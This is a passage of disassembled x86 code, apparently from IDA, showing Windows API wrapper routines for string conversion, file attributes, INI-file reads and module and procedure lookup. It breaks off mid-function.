; ---------------------------------------------------------------------------
loc_50A7CD: ; CODE XREF: sub_50A7AF+11j
movzx eax, [ebp+var_4]
neg eax
sbb eax, eax
and eax, 0Fh
inc eax
locret_50A7D9: ; CODE XREF: sub_50A7AF+1Cj
leave
retn 4
sub_50A7AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A7DD proc near ; DATA XREF: _7:00511270o
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0050A896 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EA78
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18h
push ebx
push esi
push edi
and [ebp+var_20], 0
and [ebp+var_4], 0
push 104h
call sub_50835A
pop ecx
mov [ebp+var_2C], eax
mov eax, [ebp+var_2C]
mov [ebp+var_20], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_20]
rep stosd
push 0
push 0
push 104h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
mov [ebp+var_24], eax
cmp [ebp+var_24], 103h
ja short loc_50A85E
lea edx, [ebp+var_28]
mov ecx, [ebp+var_20]
call sub_501CA8
test eax, eax
jnz short loc_50A86C
loc_50A85E: ; CODE XREF: sub_50A7DD+70j
push [ebp+arg_0]
call ds:dword_5116F8 ; GetFileAttributesW
mov [ebp+var_1C], eax
jmp short loc_50A87B
; ---------------------------------------------------------------------------
loc_50A86C: ; CODE XREF: sub_50A7DD+7Fj
movzx eax, [ebp+var_28]
neg eax
sbb eax, eax
and eax, 0Fh
inc eax
mov [ebp+var_1C], eax
loc_50A87B: ; CODE XREF: sub_50A7DD+8Dj
or [ebp+var_4], 0FFFFFFFFh
call sub_50A886
jmp short loc_50A896
sub_50A7DD endp
; =============== S U B R O U T I N E =======================================
sub_50A886 proc near ; CODE XREF: sub_50A7DD+A2p
; DATA XREF: _6:0050EA80o
mov eax, [ebp-20h]
mov [ebp-30h], eax
push dword ptr [ebp-30h]
call sub_5083DD
pop ecx
retn
sub_50A886 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50A7DD
loc_50A896: ; CODE XREF: sub_50A7DD+A7j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
; END OF FUNCTION CHUNK FOR sub_50A7DD
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A8AA proc near ; DATA XREF: _7:00511278o
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 0050A9D8 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EA88
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 20h
push ebx
push esi
push edi
and [ebp+var_20], 0
and [ebp+var_4], 0
push 104h
call sub_50835A
pop ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_34]
mov [ebp+var_20], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_20]
rep stosd
push 0
push 0
push 104h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
mov [ebp+var_28], eax
lea edx, [ebp+var_24]
mov ecx, [ebp+var_20]
call sub_501CA8
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jz short loc_50A995
mov [ebp+var_1C], 1
movzx eax, [ebp+var_24]
neg eax
sbb eax, eax
and eax, 0Fh
inc eax
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+var_2C]
mov eax, [eax+0Ch]
mov ecx, [eax+1Ch]
mov eax, [eax+20h]
mov edx, [ebp+arg_8]
mov [edx+4], ecx
mov [edx+8], eax
mov eax, [ebp+var_2C]
mov eax, [eax+0Ch]
mov ecx, [eax+1Ch]
mov eax, [eax+20h]
mov edx, [ebp+arg_8]
mov [edx+0Ch], ecx
mov [edx+10h], eax
mov eax, [ebp+var_2C]
mov eax, [eax+0Ch]
mov ecx, [eax+1Ch]
mov eax, [eax+20h]
mov edx, [ebp+arg_8]
mov [edx+14h], ecx
mov [edx+18h], eax
mov eax, [ebp+arg_8]
and dword ptr [eax+1Ch], 0
mov eax, [ebp+var_2C]
mov eax, [eax]
mov ecx, [ebp+arg_8]
mov eax, [eax+8]
mov [ecx+20h], eax
jmp short loc_50A9BD
; ---------------------------------------------------------------------------
loc_50A995: ; CODE XREF: sub_50A8AA+7Bj
push offset aKernel32_0 ; "kernel32"
push offset aGetfileattri_1 ; "GetFileAttributesExW"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_30], eax
cmp [ebp+var_30], 0
jz short loc_50A9BD
push [ebp+arg_8]
push 0
push [ebp+arg_0]
call [ebp+var_30]
mov [ebp+var_1C], eax
loc_50A9BD: ; CODE XREF: sub_50A8AA+E9j
; sub_50A8AA+103j
or [ebp+var_4], 0FFFFFFFFh
call sub_50A9C8
jmp short loc_50A9D8
sub_50A8AA endp
; =============== S U B R O U T I N E =======================================
sub_50A9C8 proc near ; CODE XREF: sub_50A8AA+117p
; DATA XREF: _6:0050EA90o
mov eax, [ebp-20h]
mov [ebp-38h], eax
push dword ptr [ebp-38h]
call sub_5083DD
pop ecx
retn
sub_50A9C8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50A8AA
loc_50A9D8: ; CODE XREF: sub_50A8AA+11Cj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_50A8AA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A9EC proc near ; CODE XREF: sub_40FFD8+1EDp
; sub_410908+38p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_500672
test eax, eax
jnz short loc_50AA11
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511700 ; GetFileSize
mov [ebp+var_4], eax
jmp short loc_50AA1D
; ---------------------------------------------------------------------------
loc_50AA11: ; CODE XREF: sub_50A9EC+12j
cmp [ebp+arg_4], 0
jz short loc_50AA1D
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
loc_50AA1D: ; CODE XREF: sub_50A9EC+23j
; sub_50A9EC+29j
mov eax, [ebp+var_4]
leave
retn 8
sub_50A9EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AA24 proc near ; CODE XREF: sub_401300+83p
; sub_401404+DAp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_507141
add esp, 10h
test eax, eax
jnz short loc_50AA57
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511714 ; GetModuleFileNameA
mov [ebp+var_4], eax
loc_50AA57: ; CODE XREF: sub_50AA24+1Fj
mov eax, [ebp+var_4]
leave
retn 0Ch
sub_50AA24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AA5E proc near ; DATA XREF: _7:005113B0o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push edi
and [ebp+var_4], 0
mov eax, [ebp+arg_8]
inc eax
push eax
call sub_50835A
pop ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_8]
inc ecx
xor eax, eax
mov edi, [ebp+var_8]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
lea eax, [ebp+var_4]
push eax
push [ebp+arg_8]
push [ebp+var_8]
push [ebp+arg_0]
call sub_507141
add esp, 10h
test eax, eax
jnz short loc_50AABF
push [ebp+arg_8]
push [ebp+var_8]
push [ebp+arg_0]
call ds:dword_511714 ; GetModuleFileNameA
mov [ebp+var_4], eax
loc_50AABF: ; CODE XREF: sub_50AA5E+4Dj
push [ebp+arg_8]
push [ebp+arg_4]
push 0FFFFFFFFh
push [ebp+var_8]
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
push [ebp+var_10]
call sub_5083DD
pop ecx
mov eax, [ebp+var_4]
pop edi
leave
retn 0Ch
sub_50AA5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AAEB proc near ; DATA XREF: _7:005113B8o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_5018CF
add esp, 10h
test eax, eax
jnz short loc_50AB36
push offset aKernel32_0 ; "kernel32"
push offset aGetlongpathnam ; "GetLongPathNameA"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_50AB36
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_8]
mov [ebp+var_4], eax
loc_50AB36: ; CODE XREF: sub_50AAEB+20j
; sub_50AAEB+3Aj
mov eax, [ebp+var_4]
leave
retn 0Ch
sub_50AAEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AB3D proc near ; DATA XREF: _7:005113C0o
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 0050AC52 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EA98
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 24h
push ebx
push esi
push edi
and [ebp+var_1C], 0
mov eax, [ebp+arg_8]
inc eax
push eax
call sub_50835A
pop ecx
mov [ebp+var_30], eax
mov eax, [ebp+var_30]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_8]
inc ecx
xor eax, eax
mov edi, [ebp+var_24]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
push 400h
call sub_50835A
pop ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_34]
mov [ebp+var_20], eax
and [ebp+var_4], 0
push 0
push 0
push 400h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push [ebp+var_24]
push [ebp+var_20]
call sub_5018CF
add esp, 10h
test eax, eax
jnz short loc_50AC0B
push offset aKernel32_0 ; "kernel32"
push offset aGetlongpathn_0 ; "GetLongPathNameW"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jz short loc_50AC09
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_2C]
mov [ebp+var_1C], eax
loc_50AC09: ; CODE XREF: sub_50AB3D+BBj
jmp short loc_50AC28
; ---------------------------------------------------------------------------
loc_50AC0B: ; CODE XREF: sub_50AB3D+A1j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_8]
jnb short loc_50AC28
push [ebp+arg_8]
push [ebp+arg_4]
push 0FFFFFFFFh
push [ebp+var_24]
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
loc_50AC28: ; CODE XREF: sub_50AB3D:loc_50AC09j
; sub_50AB3D+D4j
or [ebp+var_4], 0FFFFFFFFh
call sub_50AC33
jmp short loc_50AC52
sub_50AB3D endp
; =============== S U B R O U T I N E =======================================
sub_50AC33 proc near ; CODE XREF: sub_50AB3D+EFp
; DATA XREF: _6:0050EAA0o
mov eax, [ebp-24h]
mov [ebp-38h], eax
push dword ptr [ebp-38h]
call sub_5083DD
pop ecx
mov eax, [ebp-20h]
mov [ebp-3Ch], eax
push dword ptr [ebp-3Ch]
call sub_5083DD
pop ecx
retn
sub_50AC33 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50AB3D
loc_50AC52: ; CODE XREF: sub_50AB3D+F4j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_50AB3D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AC66 proc near ; DATA XREF: _7:00511370o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
xor edx, edx
mov ecx, [ebp+arg_14]
call sub_5019D2
test eax, eax
jz short loc_50ACE9
push 0
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_501CC4
add esp, 1Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_50ACE7
cmp [ebp+arg_8], 0
jz short loc_50ACE7
mov eax, [ebp+arg_10]
dec eax
push eax
push [ebp+arg_8]
push [ebp+arg_C]
call sub_4FC770
add esp, 0Ch
mov edi, [ebp+arg_8]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_10]
jnb short loc_50ACDB
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
jmp short loc_50ACE1
; ---------------------------------------------------------------------------
loc_50ACDB: ; CODE XREF: sub_50AC66+6Bj
mov eax, [ebp+arg_10]
mov [ebp+var_C], eax
loc_50ACE1: ; CODE XREF: sub_50AC66+73j
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
loc_50ACE7: ; CODE XREF: sub_50AC66+3Aj
; sub_50AC66+40j
jmp short loc_50AD04
; ---------------------------------------------------------------------------
loc_50ACE9: ; CODE XREF: sub_50AC66+15j
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511724 ; GetPrivateProfileStringA
mov [ebp+var_4], eax
loc_50AD04: ; CODE XREF: sub_50AC66:loc_50ACE7j
mov eax, [ebp+var_4]
pop edi
leave
retn 18h
sub_50AC66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AD0C proc near ; DATA XREF: _7:00511378o
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 58h
push edi
and [ebp+var_4], 0
push 0
xor edx, edx
mov ecx, [ebp+arg_C]
call sub_5019D2
test eax, eax
jz short loc_50AD76
and [ebp+var_54], 0
push 13h
pop ecx
xor eax, eax
lea edi, [ebp+var_53]
rep stosd
stosw
stosb
push 0
push [ebp+arg_C]
push 50h
lea eax, [ebp+var_54]
push eax
push offset dword_511918
push [ebp+arg_4]
push [ebp+arg_0]
call sub_501CC4
add esp, 1Ch
mov [ebp+var_58], eax
cmp [ebp+var_58], 0
jnz short loc_50AD67
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
jmp short loc_50AD74
; ---------------------------------------------------------------------------
loc_50AD67: ; CODE XREF: sub_50AD0C+51j
lea eax, [ebp+var_54]
push eax
call sub_4FCA75
pop ecx
mov [ebp+var_4], eax
loc_50AD74: ; CODE XREF: sub_50AD0C+59j
jmp short loc_50AD8B
; ---------------------------------------------------------------------------
loc_50AD76: ; CODE XREF: sub_50AD0C+19j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_51171C ; GetPrivateProfileIntA
mov [ebp+var_4], eax
loc_50AD8B: ; CODE XREF: sub_50AD0C:loc_50AD74j
mov eax, [ebp+var_4]
pop edi
leave
retn 10h
sub_50AD0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AD93 proc near ; DATA XREF: _7:00511380o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push 0
xor edx, edx
mov ecx, [ebp+arg_8]
call sub_5019D2
test eax, eax
jz short loc_50ADC5
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push 0
push 0
push 0
call sub_501CC4
add esp, 1Ch
mov [ebp+var_4], eax
jmp short loc_50ADD7
; ---------------------------------------------------------------------------
loc_50ADC5: ; CODE XREF: sub_50AD93+12j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511720 ; GetPrivateProfileSectionNamesA
mov [ebp+var_4], eax
loc_50ADD7: ; CODE XREF: sub_50AD93+30j
mov eax, [ebp+var_4]
leave
retn 0Ch
sub_50AD93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50ADDE proc near ; DATA XREF: _7:00511388o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push 0
xor edx, edx
mov ecx, [ebp+arg_C]
call sub_5019D2
test eax, eax
jz short loc_50AE11
push 1
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 0
push 0
push [ebp+arg_0]
call sub_501CC4
add esp, 1Ch
mov [ebp+var_4], eax
jmp short loc_50AE26
; ---------------------------------------------------------------------------
loc_50AE11: ; CODE XREF: sub_50ADDE+12j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_50E02C ; GetPrivateProfileSectionA
mov [ebp+var_4], eax
loc_50AE26: ; CODE XREF: sub_50ADDE+31j
mov eax, [ebp+var_4]
leave
retn 10h
sub_50ADDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AE2D proc near ; CODE XREF: sub_50AE83+8p
; sub_50AE96+9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_50AE43
push 7Eh
call ds:dword_51178C ; RtlRestoreLastWin32Error
xor eax, eax
jmp short locret_50AE81
; ---------------------------------------------------------------------------
loc_50AE43: ; CODE XREF: sub_50AE2D+8j
mov ecx, [ebp+arg_0]
call sub_505AD2
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_50AE7E
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
call sub_5061E1
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_50AE7E
call ds:dword_511710 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_50AE7A
push 7Eh
call ds:dword_51178C ; RtlRestoreLastWin32Error
loc_50AE7A: ; CODE XREF: sub_50AE2D+43j
xor eax, eax
jmp short locret_50AE81
; ---------------------------------------------------------------------------
loc_50AE7E: ; CODE XREF: sub_50AE2D+25j
; sub_50AE2D+39j
mov eax, [ebp+var_4]
locret_50AE81: ; CODE XREF: sub_50AE2D+14j
; sub_50AE2D+4Fj
leave
retn
sub_50AE2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AE83 proc near ; CODE XREF: sub_409D10+13Ap
; sub_409D10+519p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push [ebp+arg_0]
call sub_50AE2D
pop ecx
pop ecx
pop ebp
retn 4
sub_50AE83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AE96 proc near ; CODE XREF: sub_509518+B9p
; sub_509789+B9p ...
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push [ebp+arg_8]
push [ebp+arg_0]
call sub_50AE2D
pop ecx
pop ecx
pop ebp
retn 0Ch
sub_50AE96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AEAA proc near ; CODE XREF: sub_50AF65+8p
; sub_50AF78+9p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EAA8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 10h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_50AEE1
push 7Eh
call ds:dword_51178C ; RtlRestoreLastWin32Error
xor eax, eax
jmp short loc_50AF56
; ---------------------------------------------------------------------------
loc_50AEE1: ; CODE XREF: sub_50AEAA+29j
and [ebp+var_1C], 0
and [ebp+var_4], 0
push 104h
call sub_50835A
pop ecx
mov [ebp+var_20], eax
mov eax, [ebp+var_20]
mov [ebp+var_1C], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_1C]
rep stosd
push 0
push 0
push 104h
push [ebp+var_1C]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
push [ebp+arg_4]
push [ebp+var_1C]
call sub_50AE2D
pop ecx
pop ecx
push 0FFFFFFFFh
mov [ebp+var_28], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_28]
jmp short loc_50AF56
; ---------------------------------------------------------------------------
loc_50AF44: ; DATA XREF: _6:0050EAB0o
mov eax, [ebp+var_1C]
mov [ebp+var_24], eax
push [ebp+var_24]
call sub_5083DD
pop ecx
retn
; ---------------------------------------------------------------------------
xor eax, eax
loc_50AF56: ; CODE XREF: sub_50AEAA+35j
; sub_50AEAA+98j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_50AEAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AF65 proc near ; DATA XREF: _7:005112D8o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push [ebp+arg_0]
call sub_50AEAA
pop ecx
pop ecx
pop ebp
retn 4
sub_50AF65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AF78 proc near ; DATA XREF: _7:005112E8o
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push [ebp+arg_8]
push [ebp+arg_0]
call sub_50AEAA
pop ecx
pop ecx
pop ebp
retn 0Ch
sub_50AF78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AF8C proc near ; CODE XREF: sub_401404+D3p
; sub_409D10+Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_50AFA0
push 0
call ds:dword_511718 ; GetModuleHandleA
jmp short locret_50AFC2
; ---------------------------------------------------------------------------
loc_50AFA0: ; CODE XREF: sub_50AF8C+8j
push [ebp+arg_0]
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_50AFBF
xor dl, dl
mov ecx, [ebp+arg_0]
call sub_5058CF
mov [ebp+var_4], eax
loc_50AFBF: ; CODE XREF: sub_50AF8C+24j
mov eax, [ebp+var_4]
locret_50AFC2: ; CODE XREF: sub_50AF8C+12j
leave
retn 4
sub_50AF8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50AFC6 proc near ; DATA XREF: _7:00511358o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0050B062 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EAB8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 10h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_50AFFB
push 0
call ds:dword_511718 ; GetModuleHandleA
jmp short loc_50B065
; ---------------------------------------------------------------------------
loc_50AFFB: ; CODE XREF: sub_50AFC6+29j
and [ebp+var_1C], 0
and [ebp+var_20], 0
and [ebp+var_4], 0
push 104h
call sub_50835A
pop ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_20], eax
xor eax, eax
mov edi, [ebp+var_20]
stosd
push 0
push 0
push 104h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
push [ebp+var_20]
call sub_50AF8C
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_50B052
jmp short loc_50B062
sub_50AFC6 endp
; =============== S U B R O U T I N E =======================================
sub_50B052 proc near ; CODE XREF: sub_50AFC6+85p
; DATA XREF: _6:0050EAC0o
mov eax, [ebp-20h]
mov [ebp-28h], eax
push dword ptr [ebp-28h]
call sub_5083DD
pop ecx
retn
sub_50B052 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50AFC6
loc_50B062: ; CODE XREF: sub_50AFC6+8Aj
mov eax, [ebp+var_1C]
loc_50B065: ; CODE XREF: sub_50AFC6+33j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
; END OF FUNCTION CHUNK FOR sub_50AFC6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B076 proc near ; CODE XREF: sub_409D10+29p
; sub_409D10+36p ...
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0050B179 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EAC8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_1C], 0
mov eax, [ebp+arg_4]
shr eax, 10h
movzx eax, ax
test eax, eax
jz short loc_50B0C9
push offset aDllgetclassobj ; "DllGetClassObject"
push [ebp+arg_4]
call ds:dword_5117C0 ; lstrcmpi
test eax, eax
jnz short loc_50B0C9
mov ecx, [ebp+arg_0]
call sub_505A41
loc_50B0C9: ; CODE XREF: sub_50B076+37j
; sub_50B076+49j
and [ebp+var_4], 0
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511728 ; GetProcAddress
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50B0F9
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
and [ebp+var_30], 0
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_30]
jmp loc_50B17C
; ---------------------------------------------------------------------------
loc_50B0F9: ; CODE XREF: sub_50B076+6Aj
cmp [ebp+var_1C], 0
jz short loc_50B179
mov eax, ds:dword_5160D4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_50B120
mov eax, [ebp+var_24]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_28], 1
jmp short loc_50B124
; ---------------------------------------------------------------------------
loc_50B120: ; CODE XREF: sub_50B076+95j
and [ebp+var_28], 0
loc_50B124: ; CODE XREF: sub_50B076+A8j
movzx eax, [ebp+var_28]
test eax, eax
jz short loc_50B179
mov [ebp+var_4], 1
push [ebp+var_1C]
mov ecx, ds:dword_5160D4
call sub_50B871
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_50B152
mov eax, [ebp+var_20]
mov eax, [eax]
